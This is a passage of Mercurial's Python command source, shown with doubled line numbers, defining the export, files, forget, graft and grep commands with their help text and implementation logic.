2695 2695 :``%r``: zero-padded changeset revision number
2696 2696 :``\\``: literal "\\" character
2697 2697
2698 2698 Without the -a/--text option, export will avoid generating diffs
2699 2699 of files it detects as binary. With -a, export will generate a
2700 2700 diff anyway, probably with undesirable results.
2701 2701
2702 2702 With -B/--bookmark changesets reachable by the given bookmark are
2703 2703 selected.
2704 2704
2705 2705 Use the -g/--git option to generate diffs in the git extended diff
2706 2706 format. See :hg:`help diffs` for more information.
2707 2707
2708 2708 With the --switch-parent option, the diff will be against the
2709 2709 second parent. It can be useful to review a merge.
2710 2710
2711 2711 .. container:: verbose
2712 2712
2713 2713 Template:
2714 2714
2715 2715 The following keywords are supported in addition to the common template
2716 2716 keywords and functions. See also :hg:`help templates`.
2717 2717
2718 2718 :diff: String. Diff content.
2719 2719 :parents: List of strings. Parent nodes of the changeset.
2720 2720
2721 2721 Examples:
2722 2722
2723 2723 - use export and import to transplant a bugfix to the current
2724 2724 branch::
2725 2725
2726 2726 hg export -r 9353 | hg import -
2727 2727
2728 2728 - export all the changesets between two revisions to a file with
2729 2729 rename information::
2730 2730
2731 2731 hg export --git -r 123:150 > changes.txt
2732 2732
2733 2733 - split outgoing changes into a series of patches with
2734 2734 descriptive names::
2735 2735
2736 2736 hg export -r "outgoing()" -o "%n-%m.patch"
2737 2737
2738 2738 Returns 0 on success.
2739 2739 """
2740 2740 opts = pycompat.byteskwargs(opts)
2741 2741 bookmark = opts.get(b'bookmark')
2742 2742 changesets += tuple(opts.get(b'rev', []))
2743 2743
2744 2744 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2745 2745
2746 2746 if bookmark:
2747 2747 if bookmark not in repo._bookmarks:
2748 2748 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2749 2749
2750 2750 revs = scmutil.bookmarkrevs(repo, bookmark)
2751 2751 else:
2752 2752 if not changesets:
2753 2753 changesets = [b'.']
2754 2754
2755 2755 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2756 2756 revs = logcmdutil.revrange(repo, changesets)
2757 2757
2758 2758 if not revs:
2759 2759 raise error.InputError(_(b"export requires at least one changeset"))
2760 2760 if len(revs) > 1:
2761 2761 ui.note(_(b'exporting patches:\n'))
2762 2762 else:
2763 2763 ui.note(_(b'exporting patch:\n'))
2764 2764
2765 2765 fntemplate = opts.get(b'output')
2766 2766 if cmdutil.isstdiofilename(fntemplate):
2767 2767 fntemplate = b''
2768 2768
2769 2769 if fntemplate:
2770 2770 fm = formatter.nullformatter(ui, b'export', opts)
2771 2771 else:
2772 2772 ui.pager(b'export')
2773 2773 fm = ui.formatter(b'export', opts)
2774 2774 with fm:
2775 2775 cmdutil.export(
2776 2776 repo,
2777 2777 revs,
2778 2778 fm,
2779 2779 fntemplate=fntemplate,
2780 2780 switch_parent=opts.get(b'switch_parent'),
2781 2781 opts=patch.diffallopts(ui, opts),
2782 2782 )
2783 2783
2784 2784
2785 2785 @command(
2786 2786 b'files',
2787 2787 [
2788 2788 (
2789 2789 b'r',
2790 2790 b'rev',
2791 2791 b'',
2792 2792 _(b'search the repository as it is in REV'),
2793 2793 _(b'REV'),
2794 2794 ),
2795 2795 (
2796 2796 b'0',
2797 2797 b'print0',
2798 2798 None,
2799 2799 _(b'end filenames with NUL, for use with xargs'),
2800 2800 ),
2801 2801 ]
2802 2802 + walkopts
2803 2803 + formatteropts
2804 2804 + subrepoopts,
2805 2805 _(b'[OPTION]... [FILE]...'),
2806 2806 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2807 2807 intents={INTENT_READONLY},
2808 2808 )
2809 2809 def files(ui, repo, *pats, **opts):
2810 2810 """list tracked files
2811 2811
2812 2812 Print files under Mercurial control in the working directory or
2813 2813 specified revision for given files (excluding removed files).
2814 2814 Files can be specified as filenames or filesets.
2815 2815
2816 2816 If no files are given to match, this command prints the names
2817 2817 of all files under Mercurial control.
2818 2818
2819 2819 .. container:: verbose
2820 2820
2821 2821 Template:
2822 2822
2823 2823 The following keywords are supported in addition to the common template
2824 2824 keywords and functions. See also :hg:`help templates`.
2825 2825
2826 2826 :flags: String. Character denoting file's symlink and executable bits.
2827 2827 :path: String. Repository-absolute path of the file.
2828 2828 :size: Integer. Size of the file in bytes.
2829 2829
2830 2830 Examples:
2831 2831
2832 2832 - list all files under the current directory::
2833 2833
2834 2834 hg files .
2835 2835
2836 2836 - shows sizes and flags for current revision::
2837 2837
2838 2838 hg files -vr .
2839 2839
2840 2840 - list all files named README::
2841 2841
2842 2842 hg files -I "**/README"
2843 2843
2844 2844 - list all binary files::
2845 2845
2846 2846 hg files "set:binary()"
2847 2847
2848 2848 - find files containing a regular expression::
2849 2849
2850 2850 hg files "set:grep('bob')"
2851 2851
2852 2852 - search tracked file contents with xargs and grep::
2853 2853
2854 2854 hg files -0 | xargs -0 grep foo
2855 2855
2856 2856 See :hg:`help patterns` and :hg:`help filesets` for more information
2857 2857 on specifying file patterns.
2858 2858
2859 2859 Returns 0 if a match is found, 1 otherwise.
2860 2860
2861 2861 """
2862 2862
2863 2863 opts = pycompat.byteskwargs(opts)
2864 2864 rev = opts.get(b'rev')
2865 2865 if rev:
2866 2866 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2867 2867 ctx = logcmdutil.revsingle(repo, rev, None)
2868 2868
2869 2869 end = b'\n'
2870 2870 if opts.get(b'print0'):
2871 2871 end = b'\0'
2872 2872 fmt = b'%s' + end
2873 2873
2874 2874 m = scmutil.match(ctx, pats, opts)
2875 2875 ui.pager(b'files')
2876 2876 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2877 2877 with ui.formatter(b'files', opts) as fm:
2878 2878 return cmdutil.files(
2879 2879 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2880 2880 )
2881 2881
2882 2882
2883 2883 @command(
2884 2884 b'forget',
2885 2885 [
2886 2886 (b'i', b'interactive', None, _(b'use interactive mode')),
2887 2887 ]
2888 2888 + walkopts
2889 2889 + dryrunopts,
2890 2890 _(b'[OPTION]... FILE...'),
2891 2891 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2892 2892 helpbasic=True,
2893 2893 inferrepo=True,
2894 2894 )
2895 2895 def forget(ui, repo, *pats, **opts):
2896 2896 """forget the specified files on the next commit
2897 2897
2898 2898 Mark the specified files so they will no longer be tracked
2899 2899 after the next commit.
2900 2900
2901 2901 This only removes files from the current branch, not from the
2902 2902 entire project history, and it does not delete them from the
2903 2903 working directory.
2904 2904
2905 2905 To delete the file from the working directory, see :hg:`remove`.
2906 2906
2907 2907 To undo a forget before the next commit, see :hg:`add`.
2908 2908
2909 2909 .. container:: verbose
2910 2910
2911 2911 Examples:
2912 2912
2913 2913 - forget newly-added binary files::
2914 2914
2915 2915 hg forget "set:added() and binary()"
2916 2916
2917 2917 - forget files that would be excluded by .hgignore::
2918 2918
2919 2919 hg forget "set:hgignore()"
2920 2920
2921 2921 Returns 0 on success.
2922 2922 """
2923 2923
2924 2924 opts = pycompat.byteskwargs(opts)
2925 2925 if not pats:
2926 2926 raise error.InputError(_(b'no files specified'))
2927 2927
2928 2928 m = scmutil.match(repo[None], pats, opts)
2929 2929 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2930 2930 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2931 2931 rejected = cmdutil.forget(
2932 2932 ui,
2933 2933 repo,
2934 2934 m,
2935 2935 prefix=b"",
2936 2936 uipathfn=uipathfn,
2937 2937 explicitonly=False,
2938 2938 dryrun=dryrun,
2939 2939 interactive=interactive,
2940 2940 )[0]
2941 2941 return rejected and 1 or 0
2942 2942
2943 2943
2944 2944 @command(
2945 2945 b'graft',
2946 2946 [
2947 2947 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2948 2948 (
2949 2949 b'',
2950 2950 b'base',
2951 2951 b'',
2952 2952 _(b'base revision when doing the graft merge (ADVANCED)'),
2953 2953 _(b'REV'),
2954 2954 ),
2955 2955 (b'c', b'continue', False, _(b'resume interrupted graft')),
2956 2956 (b'', b'stop', False, _(b'stop interrupted graft')),
2957 2957 (b'', b'abort', False, _(b'abort interrupted graft')),
2958 2958 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2959 2959 (b'', b'log', None, _(b'append graft info to log message')),
2960 2960 (
2961 2961 b'',
2962 2962 b'no-commit',
2963 2963 None,
2964 2964 _(b"don't commit, just apply the changes in working directory"),
2965 2965 ),
2966 2966 (b'f', b'force', False, _(b'force graft')),
2967 2967 (
2968 2968 b'D',
2969 2969 b'currentdate',
2970 2970 False,
2971 2971 _(b'record the current date as commit date'),
2972 2972 ),
2973 2973 (
2974 2974 b'U',
2975 2975 b'currentuser',
2976 2976 False,
2977 2977 _(b'record the current user as committer'),
2978 2978 ),
2979 2979 ]
2980 2980 + commitopts2
2981 2981 + mergetoolopts
2982 2982 + dryrunopts,
2983 2983 _(b'[OPTION]... [-r REV]... REV...'),
2984 2984 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2985 2985 )
2986 2986 def graft(ui, repo, *revs, **opts):
2987 2987 """copy changes from other branches onto the current branch
2988 2988
2989 2989 This command uses Mercurial's merge logic to copy individual
2990 2990 changes from other branches without merging branches in the
2991 2991 history graph. This is sometimes known as 'backporting' or
2992 2992 'cherry-picking'. By default, graft will copy user, date, and
2993 2993 description from the source changesets.
2994 2994
2995 2995 Changesets that are ancestors of the current revision, that have
2996 2996 already been grafted, or that are merges will be skipped.
2997 2997
2998 2998 If --log is specified, log messages will have a comment appended
2999 2999 of the form::
3000 3000
3001 3001 (grafted from CHANGESETHASH)
3002 3002
3003 3003 If --force is specified, revisions will be grafted even if they
3004 3004 are already ancestors of, or have been grafted to, the destination.
3005 3005 This is useful when the revisions have since been backed out.
3006 3006
3007 3007 If a graft merge results in conflicts, the graft process is
3008 3008 interrupted so that the current merge can be manually resolved.
3009 3009 Once all conflicts are addressed, the graft process can be
3010 3010 continued with the -c/--continue option.
3011 3011
3012 3012 The -c/--continue option reapplies all the earlier options.
3013 3013
3014 3014 .. container:: verbose
3015 3015
3016 3016 The --base option exposes more of how graft internally uses merge with a
3017 3017 custom base revision. --base can be used to specify another ancestor than
3018 3018 the first and only parent.
3019 3019
3020 3020 The command::
3021 3021
3022 3022 hg graft -r 345 --base 234
3023 3023
3024 3024 is thus pretty much the same as::
3025 3025
3026 3026 hg diff --from 234 --to 345 | hg import
3027 3027
3028 3028 but using merge to resolve conflicts and track moved files.
3029 3029
3030 3030 The result of a merge can thus be backported as a single commit by
3031 3031 specifying one of the merge parents as base, and thus effectively
3032 3032 grafting the changes from the other side.
3033 3033
3034 3034 It is also possible to collapse multiple changesets and clean up history
3035 3035 by specifying another ancestor as base, much like rebase --collapse
3036 3036 --keep.
3037 3037
3038 3038 The commit message can be tweaked after the fact using commit --amend .
3039 3039
3040 3040 For using non-ancestors as the base to backout changes, see the backout
3041 3041 command and the hidden --parent option.
3042 3042
3043 3043 .. container:: verbose
3044 3044
3045 3045 Examples:
3046 3046
3047 3047 - copy a single change to the stable branch and edit its description::
3048 3048
3049 3049 hg update stable
3050 3050 hg graft --edit 9393
3051 3051
3052 3052 - graft a range of changesets with one exception, updating dates::
3053 3053
3054 3054 hg graft -D "2085::2093 and not 2091"
3055 3055
3056 3056 - continue a graft after resolving conflicts::
3057 3057
3058 3058 hg graft -c
3059 3059
3060 3060 - show the source of a grafted changeset::
3061 3061
3062 3062 hg log --debug -r .
3063 3063
3064 3064 - show revisions sorted by date::
3065 3065
3066 3066 hg log -r "sort(all(), date)"
3067 3067
3068 3068 - backport the result of a merge as a single commit::
3069 3069
3070 3070 hg graft -r 123 --base 123^
3071 3071
3072 3072 - land a feature branch as one changeset::
3073 3073
3074 3074 hg up -cr default
3075 3075 hg graft -r featureX --base "ancestor('featureX', 'default')"
3076 3076
3077 3077 See :hg:`help revisions` for more about specifying revisions.
3078 3078
3079 3079 Returns 0 on successful completion, 1 if there are unresolved files.
3080 3080 """
3081 3081 with repo.wlock():
3082 3082 return _dograft(ui, repo, *revs, **opts)
3083 3083
3084 3084
3085 3085 def _dograft(ui, repo, *revs, **opts):
3086 3086 if revs and opts.get('rev'):
3087 3087 ui.warn(
3088 3088 _(
3089 3089 b'warning: inconsistent use of --rev might give unexpected '
3090 3090 b'revision ordering!\n'
3091 3091 )
3092 3092 )
3093 3093
3094 3094 revs = list(revs)
3095 3095 revs.extend(opts.get('rev'))
3096 3096 # a dict of data to be stored in state file
3097 3097 statedata = {}
3098 3098 # list of new nodes created by ongoing graft
3099 3099 statedata[b'newnodes'] = []
3100 3100
3101 3101 cmdutil.resolve_commit_options(ui, opts)
3102 3102
3103 3103 editor = cmdutil.getcommiteditor(editform=b'graft', **opts)
3104 3104
3105 3105 cmdutil.check_at_most_one_arg(opts, 'abort', 'stop', 'continue')
3106 3106
3107 3107 cont = False
3108 3108 if opts.get('no_commit'):
3109 3109 cmdutil.check_incompatible_arguments(
3110 3110 opts,
3111 3111 'no_commit',
3112 3112 ['edit', 'currentuser', 'currentdate', 'log'],
3113 3113 )
3114 3114
3115 3115 graftstate = statemod.cmdstate(repo, b'graftstate')
3116 3116
3117 3117 if opts.get('stop'):
3118 3118 cmdutil.check_incompatible_arguments(
3119 3119 opts,
3120 3120 'stop',
3121 3121 [
3122 3122 'edit',
3123 3123 'log',
3124 3124 'user',
3125 3125 'date',
3126 3126 'currentdate',
3127 3127 'currentuser',
3128 3128 'rev',
3129 3129 ],
3130 3130 )
3131 3131 return _stopgraft(ui, repo, graftstate)
3132 3132 elif opts.get('abort'):
3133 3133 cmdutil.check_incompatible_arguments(
3134 3134 opts,
3135 3135 'abort',
3136 3136 [
3137 3137 'edit',
3138 3138 'log',
3139 3139 'user',
3140 3140 'date',
3141 3141 'currentdate',
3142 3142 'currentuser',
3143 3143 'rev',
3144 3144 ],
3145 3145 )
3146 3146 return cmdutil.abortgraft(ui, repo, graftstate)
3147 3147 elif opts.get('continue'):
3148 3148 cont = True
3149 3149 if revs:
3150 3150 raise error.InputError(_(b"can't specify --continue and revisions"))
3151 3151 # read in unfinished revisions
3152 3152 if graftstate.exists():
3153 3153 statedata = cmdutil.readgraftstate(repo, graftstate)
3154 3154 if statedata.get(b'date'):
3155 3155 opts['date'] = statedata[b'date']
3156 3156 if statedata.get(b'user'):
3157 3157 opts['user'] = statedata[b'user']
3158 3158 if statedata.get(b'log'):
3159 3159 opts['log'] = True
3160 3160 if statedata.get(b'no_commit'):
3161 3161 opts['no_commit'] = statedata.get(b'no_commit')
3162 3162 if statedata.get(b'base'):
3163 3163 opts['base'] = statedata.get(b'base')
3164 3164 nodes = statedata[b'nodes']
3165 3165 revs = [repo[node].rev() for node in nodes]
3166 3166 else:
3167 3167 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3168 3168 else:
3169 3169 if not revs:
3170 3170 raise error.InputError(_(b'no revisions specified'))
3171 3171 cmdutil.checkunfinished(repo)
3172 3172 cmdutil.bailifchanged(repo)
3173 3173 revs = logcmdutil.revrange(repo, revs)
3174 3174
3175 3175 skipped = set()
3176 3176 basectx = None
3177 3177 if opts.get('base'):
3178 3178 basectx = logcmdutil.revsingle(repo, opts['base'], None)
3179 3179 if basectx is None:
3180 3180 # check for merges
3181 3181 for rev in repo.revs(b'%ld and merge()', revs):
3182 3182 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3183 3183 skipped.add(rev)
3184 3184 revs = [r for r in revs if r not in skipped]
3185 3185 if not revs:
3186 3186 return -1
3187 3187 if basectx is not None and len(revs) != 1:
3188 3188 raise error.InputError(_(b'only one revision allowed with --base '))
3189 3189
3190 3190 # Don't check in the --continue case, in effect retaining --force across
3191 3191 # --continues. That's because without --force, any revisions we decided to
3192 3192 # skip would have been filtered out here, so they wouldn't have made their
3193 3193 # way to the graftstate. With --force, any revisions we would have otherwise
3194 3194 # skipped would not have been filtered out, and if they hadn't been applied
3195 3195 # already, they'd have been in the graftstate.
3196 3196 if not (cont or opts.get('force')) and basectx is None:
3197 3197 # check for ancestors of dest branch
3198 3198 ancestors = repo.revs(b'%ld & (::.)', revs)
3199 3199 for rev in ancestors:
3200 3200 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3201 3201
3202 3202 revs = [r for r in revs if r not in ancestors]
3203 3203
3204 3204 if not revs:
3205 3205 return -1
3206 3206
3207 3207 # analyze revs for earlier grafts
3208 3208 ids = {}
3209 3209 for ctx in repo.set(b"%ld", revs):
3210 3210 ids[ctx.hex()] = ctx.rev()
3211 3211 n = ctx.extra().get(b'source')
3212 3212 if n:
3213 3213 ids[n] = ctx.rev()
3214 3214
3215 3215 # check ancestors for earlier grafts
3216 3216 ui.debug(b'scanning for duplicate grafts\n')
3217 3217
3218 3218 # The only changesets we can be sure doesn't contain grafts of any
3219 3219 # revs, are the ones that are common ancestors of *all* revs:
3220 3220 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3221 3221 ctx = repo[rev]
3222 3222 n = ctx.extra().get(b'source')
3223 3223 if n in ids:
3224 3224 try:
3225 3225 r = repo[n].rev()
3226 3226 except error.RepoLookupError:
3227 3227 r = None
3228 3228 if r in revs:
3229 3229 ui.warn(
3230 3230 _(
3231 3231 b'skipping revision %d:%s '
3232 3232 b'(already grafted to %d:%s)\n'
3233 3233 )
3234 3234 % (r, repo[r], rev, ctx)
3235 3235 )
3236 3236 revs.remove(r)
3237 3237 elif ids[n] in revs:
3238 3238 if r is None:
3239 3239 ui.warn(
3240 3240 _(
3241 3241 b'skipping already grafted revision %d:%s '
3242 3242 b'(%d:%s also has unknown origin %s)\n'
3243 3243 )
3244 3244 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3245 3245 )
3246 3246 else:
3247 3247 ui.warn(
3248 3248 _(
3249 3249 b'skipping already grafted revision %d:%s '
3250 3250 b'(%d:%s also has origin %d:%s)\n'
3251 3251 )
3252 3252 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3253 3253 )
3254 3254 revs.remove(ids[n])
3255 3255 elif ctx.hex() in ids:
3256 3256 r = ids[ctx.hex()]
3257 3257 if r in revs:
3258 3258 ui.warn(
3259 3259 _(
3260 3260 b'skipping already grafted revision %d:%s '
3261 3261 b'(was grafted from %d:%s)\n'
3262 3262 )
3263 3263 % (r, repo[r], rev, ctx)
3264 3264 )
3265 3265 revs.remove(r)
3266 3266 if not revs:
3267 3267 return -1
3268 3268
3269 3269 if opts.get('no_commit'):
3270 3270 statedata[b'no_commit'] = True
3271 3271 if opts.get('base'):
3272 3272 statedata[b'base'] = opts['base']
3273 3273 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3274 3274 desc = b'%d:%s "%s"' % (
3275 3275 ctx.rev(),
3276 3276 ctx,
3277 3277 ctx.description().split(b'\n', 1)[0],
3278 3278 )
3279 3279 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3280 3280 if names:
3281 3281 desc += b' (%s)' % b' '.join(names)
3282 3282 ui.status(_(b'grafting %s\n') % desc)
3283 3283 if opts.get('dry_run'):
3284 3284 continue
3285 3285
3286 3286 source = ctx.extra().get(b'source')
3287 3287 extra = {}
3288 3288 if source:
3289 3289 extra[b'source'] = source
3290 3290 extra[b'intermediate-source'] = ctx.hex()
3291 3291 else:
3292 3292 extra[b'source'] = ctx.hex()
3293 3293 user = ctx.user()
3294 3294 if opts.get('user'):
3295 3295 user = opts['user']
3296 3296 statedata[b'user'] = user
3297 3297 date = ctx.date()
3298 3298 if opts.get('date'):
3299 3299 date = opts['date']
3300 3300 statedata[b'date'] = date
3301 3301 message = ctx.description()
3302 3302 if opts.get('log'):
3303 3303 message += b'\n(grafted from %s)' % ctx.hex()
3304 3304 statedata[b'log'] = True
3305 3305
3306 3306 # we don't merge the first commit when continuing
3307 3307 if not cont:
3308 3308 # perform the graft merge with p1(rev) as 'ancestor'
3309 3309 overrides = {(b'ui', b'forcemerge'): opts.get('tool', b'')}
3310 3310 base = ctx.p1() if basectx is None else basectx
3311 3311 with ui.configoverride(overrides, b'graft'):
3312 3312 stats = mergemod.graft(repo, ctx, base, [b'local', b'graft'])
3313 3313 # report any conflicts
3314 3314 if stats.unresolvedcount > 0:
3315 3315 # write out state for --continue
3316 3316 nodes = [repo[rev].hex() for rev in revs[pos:]]
3317 3317 statedata[b'nodes'] = nodes
3318 3318 stateversion = 1
3319 3319 graftstate.save(stateversion, statedata)
3320 3320 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3321 3321 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3322 3322 return 1
3323 3323 else:
3324 3324 cont = False
3325 3325
3326 3326 # commit if --no-commit is false
3327 3327 if not opts.get('no_commit'):
3328 3328 node = repo.commit(
3329 3329 text=message, user=user, date=date, extra=extra, editor=editor
3330 3330 )
3331 3331 if node is None:
3332 3332 ui.warn(
3333 3333 _(b'note: graft of %d:%s created no changes to commit\n')
3334 3334 % (ctx.rev(), ctx)
3335 3335 )
3336 3336 # checking that newnodes exist because old state files won't have it
3337 3337 elif statedata.get(b'newnodes') is not None:
3338 3338 nn = statedata[b'newnodes']
3339 3339 assert isinstance(nn, list) # list of bytes
3340 3340 nn.append(node)
3341 3341
3342 3342 # remove state when we complete successfully
3343 3343 if not opts.get('dry_run'):
3344 3344 graftstate.delete()
3345 3345
3346 3346 return 0
3347 3347
3348 3348
3349 3349 def _stopgraft(ui, repo, graftstate):
3350 3350 """stop the interrupted graft"""
3351 3351 if not graftstate.exists():
3352 3352 raise error.StateError(_(b"no interrupted graft found"))
3353 3353 pctx = repo[b'.']
3354 3354 mergemod.clean_update(pctx)
3355 3355 graftstate.delete()
3356 3356 ui.status(_(b"stopped the interrupted graft\n"))
3357 3357 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3358 3358 return 0
3359 3359
3360 3360
3361 3361 statemod.addunfinished(
3362 3362 b'graft',
3363 3363 fname=b'graftstate',
3364 3364 clearable=True,
3365 3365 stopflag=True,
3366 3366 continueflag=True,
3367 3367 abortfunc=cmdutil.hgabortgraft,
3368 3368 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3369 3369 )
3370 3370
3371 3371
3372 3372 @command(
3373 3373 b'grep',
3374 3374 [
3375 3375 (b'0', b'print0', None, _(b'end fields with NUL')),
3376 3376 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3377 3377 (
3378 3378 b'',
3379 3379 b'diff',
3380 3380 None,
3381 3381 _(
3382 3382 b'search revision differences for when the pattern was added '
3383 3383 b'or removed'
3384 3384 ),
3385 3385 ),
3386 3386 (b'a', b'text', None, _(b'treat all files as text')),
3387 3387 (
3388 3388 b'f',
3389 3389 b'follow',
3390 3390 None,
3391 3391 _(
3392 3392 b'follow changeset history,'
3393 3393 b' or file history across copies and renames'
3394 3394 ),
3395 3395 ),
3396 3396 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3397 3397 (
3398 3398 b'l',
3399 3399 b'files-with-matches',
3400 3400 None,
3401 3401 _(b'print only filenames and revisions that match'),
3402 3402 ),
3403 3403 (b'n', b'line-number', None, _(b'print matching line numbers')),
3404 3404 (
3405 3405 b'r',
3406 3406 b'rev',
3407 3407 [],
3408 3408 _(b'search files changed within revision range'),
3409 3409 _(b'REV'),
3410 3410 ),
3411 3411 (
3412 3412 b'',
3413 3413 b'all-files',
3414 3414 None,
3415 3415 _(
3416 3416 b'include all files in the changeset while grepping (DEPRECATED)'
3417 3417 ),
3418 3418 ),
3419 3419 (b'u', b'user', None, _(b'list the author (long with -v)')),
3420 3420 (b'd', b'date', None, _(b'list the date (short with -q)')),
3421 3421 ]
3422 3422 + formatteropts
3423 3423 + walkopts,
3424 3424 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3425 3425 helpcategory=command.CATEGORY_FILE_CONTENTS,
3426 3426 inferrepo=True,
3427 3427 intents={INTENT_READONLY},
3428 3428 )
3429 3429 def grep(ui, repo, pattern, *pats, **opts):
3430 3430 """search for a pattern in specified files
3431 3431
3432 3432 Search the working directory or revision history for a regular
3433 3433 expression in the specified files for the entire repository.
3434 3434
3435 3435 By default, grep searches the repository files in the working
3436 3436 directory and prints the files where it finds a match. To specify
3437 3437 historical revisions instead of the working directory, use the
3438 3438 --rev flag.
3439 3439
3440 3440 To search instead historical revision differences that contains a
3441 3441 change in match status ("-" for a match that becomes a non-match,
3442 3442 or "+" for a non-match that becomes a match), use the --diff flag.
3443 3443
3444 3444 PATTERN can be any Python (roughly Perl-compatible) regular
3445 3445 expression.
3446 3446
3447 3447 If no FILEs are specified and the --rev flag isn't supplied, all
3448 3448 files in the working directory are searched. When using the --rev
3449 3449 flag and specifying FILEs, use the --follow argument to also
3450 3450 follow the specified FILEs across renames and copies.
3451 3451
3452 3452 .. container:: verbose
3453 3453
3454 3454 Template:
3455 3455
3456 3456 The following keywords are supported in addition to the common template
3457 3457 keywords and functions. See also :hg:`help templates`.
3458 3458
3459 3459 :change: String. Character denoting insertion ``+`` or removal ``-``.
3460 3460 Available if ``--diff`` is specified.
3461 3461 :lineno: Integer. Line number of the match.
3462 3462 :path: String. Repository-absolute path of the file.
3463 3463 :texts: List of text chunks.
3464 3464
3465 3465 And each entry of ``{texts}`` provides the following sub-keywords.
3466 3466
3467 3467 :matched: Boolean. True if the chunk matches the specified pattern.
3468 3468 :text: String. Chunk content.
3469 3469
3470 3470 See :hg:`help templates.operators` for the list expansion syntax.
3471 3471
3472 3472 Returns 0 if a match is found, 1 otherwise.
3473 3473
3474 3474 """
3475 3475 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3476 3476 opts = pycompat.byteskwargs(opts)
3477 3477 diff = opts.get(b'all') or opts.get(b'diff')
3478 3478 follow = opts.get(b'follow')
3479 3479 if opts.get(b'all_files') is None and not diff:
3480 3480 opts[b'all_files'] = True
3481 3481 plaingrep = (
3482 3482 opts.get(b'all_files')
3483 3483 and not opts.get(b'rev')
3484 3484 and not opts.get(b'follow')
3485 3485 )
3486 3486 all_files = opts.get(b'all_files')
3487 3487 if plaingrep:
3488 3488 opts[b'rev'] = [b'wdir()']
3489 3489
3490 3490 reflags = re.M
3491 3491 if opts.get(b'ignore_case'):
3492 3492 reflags |= re.I
3493 3493 try:
3494 3494 regexp = util.re.compile(pattern, reflags)
3495 3495 except re.error as inst:
3496 3496 ui.warn(
3497 3497 _(b"grep: invalid match pattern: %s\n")
3498 3498 % stringutil.forcebytestr(inst)
3499 3499 )
3500 3500 return 1
3501 3501 sep, eol = b':', b'\n'
3502 3502 if opts.get(b'print0'):
3503 3503 sep = eol = b'\0'
3504 3504
3505 3505 searcher = grepmod.grepsearcher(
3506 3506 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3507 3507 )
3508 3508
3509 3509 getfile = searcher._getfile
3510 3510
3511 3511 uipathfn = scmutil.getuipathfn(repo)
3512 3512
3513 3513 def display(fm, fn, ctx, pstates, states):
3514 3514 rev = scmutil.intrev(ctx)
3515 3515 if fm.isplain():
3516 3516 formatuser = ui.shortuser
3517 3517 else:
3518 3518 formatuser = pycompat.bytestr
3519 3519 if ui.quiet:
3520 3520 datefmt = b'%Y-%m-%d'
3521 3521 else:
3522 3522 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3523 3523 found = False
3524 3524
3525 3525 @util.cachefunc
3526 3526 def binary():
3527 3527 flog = getfile(fn)
3528 3528 try:
3529 3529 return stringutil.binary(flog.read(ctx.filenode(fn)))
3530 3530 except error.WdirUnsupported:
3531 3531 return ctx[fn].isbinary()
3532 3532
3533 3533 fieldnamemap = {b'linenumber': b'lineno'}
3534 3534 if diff:
3535 3535 iter = grepmod.difflinestates(pstates, states)
3536 3536 else:
3537 3537 iter = [(b'', l) for l in states]
3538 3538 for change, l in iter:
3539 3539 fm.startitem()
3540 3540 fm.context(ctx=ctx)
3541 3541 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3542 3542 fm.plain(uipathfn(fn), label=b'grep.filename')
3543 3543
3544 3544 cols = [
3545 3545 (b'rev', b'%d', rev, not plaingrep, b''),
3546 3546 (
3547 3547 b'linenumber',
3548 3548 b'%d',
3549 3549 l.linenum,
3550 3550 opts.get(b'line_number'),
3551 3551 b'',
3552 3552 ),
3553 3553 ]
3554 3554 if diff:
3555 3555 cols.append(
3556 3556 (
3557 3557 b'change',
3558 3558 b'%s',
3559 3559 change,
3560 3560 True,
3561 3561 b'grep.inserted '
3562 3562 if change == b'+'
3563 3563 else b'grep.deleted ',
3564 3564 )
3565 3565 )
3566 3566 cols.extend(
3567 3567 [
3568 3568 (
3569 3569 b'user',
3570 3570 b'%s',
3571 3571 formatuser(ctx.user()),
3572 3572 opts.get(b'user'),
3573 3573 b'',
3574 3574 ),
3575 3575 (
3576 3576 b'date',
3577 3577 b'%s',
3578 3578 fm.formatdate(ctx.date(), datefmt),
3579 3579 opts.get(b'date'),
3580 3580 b'',
3581 3581 ),
3582 3582 ]
3583 3583 )
3584 3584 for name, fmt, data, cond, extra_label in cols:
3585 3585 if cond:
3586 3586 fm.plain(sep, label=b'grep.sep')
3587 3587 field = fieldnamemap.get(name, name)
3588 3588 label = extra_label + (b'grep.%s' % name)
3589 3589 fm.condwrite(cond, field, fmt, data, label=label)
3590 3590 if not opts.get(b'files_with_matches'):
3591 3591 fm.plain(sep, label=b'grep.sep')
3592 3592 if not opts.get(b'text') and binary():
3593 3593 fm.plain(_(b" Binary file matches"))
3594 3594 else:
3595 3595 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3596 3596 fm.plain(eol)
3597 3597 found = True
